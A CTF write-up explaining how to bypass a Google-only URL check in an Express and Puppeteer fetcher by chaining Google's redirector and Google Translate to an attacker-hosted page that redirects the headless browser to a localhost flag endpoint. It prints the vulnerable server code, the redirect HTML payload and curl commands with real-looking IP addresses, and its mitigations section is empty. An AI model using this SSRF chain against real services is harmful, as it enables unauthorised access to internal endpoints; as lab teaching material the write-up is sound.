CTF Write-up — Bypassing a Google-only Fetcher to Reach 127.0.0.1 via Google Translate

Goal: Exfiltrate the flag from http://127.0.0.1:3000/flag even though the app only accepts input URLs that start with https://www.google.com/ or https://google.com/.

Core idea: Use google.com/url (Google’s redirector) to bounce into translate.google.com/translate?u=…, which fetches and renders our page containing a client-side redirect to http://127.0.0.1:3000/flag. Puppeteer follows that navigation from inside the container, so requests originate from localhost and the flag is returned. Works

Challenge Code (server)

The vulnerable Express + Puppeteer app:

const express = require('express');
const puppeteer = require('puppeteer');
const bodyParser = require('body-parser');
const url = require('url');
const app = express();
const port = 3000;

app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('public'));

app.get('/', (req, res) => {
    res.send(`
    <html>
      <body>
        <h1>URL Fetcher</h1>
        <p>Enter a URL to fetch (must be https://www.google.com).</p>
        <p>The flag is hidden somewhere...</p>
        <form action="/fetch" method="post">
          <input type="text" name="url" placeholder="https://www.google.com" required>
          <button type="submit">Fetch</button>
        </form>
      </body>
    </html>
  `);
});

app.post('/fetch', async (req, res) => {
    const inputUrl = req.body.url;
    if (!inputUrl) {
        return res.status(400).send('URL is required');
    }

    try {
        if (!inputUrl.startsWith('https://www.google.com/') && !inputUrl.startsWith('https://google.com/')) {
            return res.status(400).send('URL must start with https://www.google.com/ or https://google.com/');
        }
        const parsedUrl = new URL(inputUrl);
        if (parsedUrl.hostname !== 'www.google.com' && parsedUrl.hostname !== 'google.com') {
            return res.status(400).send('Only www.google.com or google.com hostnames are allowed');
        }

        const browser = await puppeteer.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox'],
            headless: true,
        });
        const page = await browser.newPage();
        await page.goto(inputUrl, {
            waitUntil: 'networkidle2',
            timeout: 10000,
        });
        const content = await page.content();
        await browser.close();
        res.send(`<h2>Content from ${inputUrl}:</h2><pre>${content}</pre>`);
    } catch (error) {
        res.status(500).send(`Error fetching URL: ${error.message}`);
    }
});

app.get('/flag', (req, res) => {
    const clientIp = (req.ip || req.connection.remoteAddress || "").toString();
    console.log(`Client IP: ${clientIp}`);
    if (clientIp.includes('127.0.0.1') || clientIp.includes('::1')) {
        const flag = process.env.FLAG || 'Flag{fake_flag}';
        res.send(flag);
    } else {
        res.status(403).send('Access denied. Only local access allowed.');
    }
});

app.listen(port, () => {
    console.log(`App listening at http://localhost:${port}`);
});

Initial Probing (Dead Ends)

The Working Chain

1) Use Google’s redirector on a permitted host

Payload shape (host stays google.com, which passes validation):

https://www.google.com/url?q=<NEXT_HOP>

2) Next hop is Google Translate as a proxy

Translate fetches and renders arbitrary pages via u=:

<NEXT_HOP> = https://translate.google.com/translate?u=https://<YOUR_HOST>/re.html

3) re.html performs a client-side redirect to localhost

Host this tiny page at e.g. https://<YOUR_HOST>/re.html:

<!doctype html>
<meta http-equiv="refresh" content="0; url=http://127.0.0.1:3000/flag">
<script>location.replace('http://127.0.0.1:3000/flag')</script>

Either the meta refresh or the JS is enough; both maximize reliability across wrappers.

4) Final full URL to give the fetcher

https://www.google.com/url?q=https://translate.google.com/translate?u=https://<YOUR_HOST>/re.html

Reproduction

Submit to the fetcher (replace placeholders):

curl -s -X POST 'http://<FETCHER_HOST>/fetch' \
  --data-urlencode "url=https://www.google.com/url?q=https://translate.google.com/translate?u=https://<YOUR_HOST>/re.html"

Example using your hosts:

curl -s -X POST 'http://65.109.213.16:3333/fetch' \
  --data-urlencode "url=https://www.google.com/url?q=https://translate.google.com/translate?u=https://5.161.237.177/re.html"

Why It Works

Validation only constrains the first hop

  • The Express code checks the hostname of the input URL only.
  • After the initial page.goto(), any subsequent client-side navigation is unconstrained.

Puppeteer executes JS and follows redirects

  • Headless Chromium runs the script in re.html and follows location.replace().
  • The request originates from the container → deemed local by the /flag handler.

Using Google as a trustworthy bridge

  • google.com/url is an allowed path and is designed to forward users to external destinations.
  • translate.google.com/translate?u=… acts as a proxy that renders the target, allowing our JS to run.
  • No usg/ved signatures are required here; the flow relies on client-side navigation after the initial allowed load.

Mitigations (How to Fix)

Files


Write-up assembled for reproducing on a self-hosted CTF Docker instance.